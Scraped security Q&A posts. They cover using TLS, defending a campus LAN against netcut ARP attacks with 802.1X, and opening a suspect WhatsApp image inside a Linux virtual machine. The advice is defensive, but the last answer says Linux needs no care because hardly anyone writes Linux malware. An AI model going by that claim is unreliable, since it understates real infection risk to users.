However, if the client has its own private/public key pair and tells the server its public key, then the server can encrypt data just for that client -- this is the entire point of asymmetric cryptography. The way SSL/TLS works is essentially doing this on the fly: when a client connects to a server, they work out keys to do asymmetric encryption.

My personal recommendation is to just use TLS for securing the client<->server communication rather than essentially roll your own protocol.


What solution against ARP attacks in a University network? I´m trying to protect my LAN (University campus) against ARP attacks using netcut.

I have 100 APs connected to my CISCO 2680. I used 8 VLANs and all of VLAN ports are connected to one gateway provided from a loadbalancer.

Even with this, I can detect some attackers.

Is there any solution to protect my LAN apart using VLANs in my L2?

Soon I'll use WatchGuard as a firewall. Can this one deal with this kind of attacks?

Layer2 attacks are difficult but the fix for them has existed for some years now:  802.1X.  In a nutshell, it's asymmetric (certificate-based) authentication for all of your devices.

So even if an attacker plugs in to your network, each device is authenticated from the certificate that's been pre-applied to it.  So if an attacker on the network plugs in a rogue device but does not have a certificate, the port will never become active to allow the rogue connection to start performing any Layer2+ attacks on your University network.

The limiting factors are the need for a PKI architecture and devices that accept x509 certificates and understand (and can use) 802.1X.  If you don't already have a secure PKI architecture, this will be a rather monumental undertaking to do correctly.

Edit:  To specifically address netcut, apparently there is a free tool that will work against it:  https://arcai.com/netcut-defender/ -- I'm not making any claims on its effectiveness but if you don't want to fix the problem properly (802.1x), you're going to have to resort to something like this.


How can I open a malicious image in whatsapp safely? I have got an image send by whatsapp on my android tabled, which I only can see when I press the download icon.

How can I see the image, without getting a virus when the image is malicious?

Are there some guides where I can run whatsapp in a sandbox or similar to download an image of an already received message? Or where can I get more info and help?

Well, without asking why you know it is a malicious image and just answering your question, you could use a tool like VirtualBox and installing  a virtual machine with any operating system, for example Linux, it is free. Then you could download the linux whatsapp client from https://github.com/miccar/wazapp. When downloading and opening the image, it can only touch the virtual machine, not the host computer VirtualBox is running on. Anyway, I don't think it would do anything bad on linux, because noone really bothers to create linux viruses because not so many people use linux.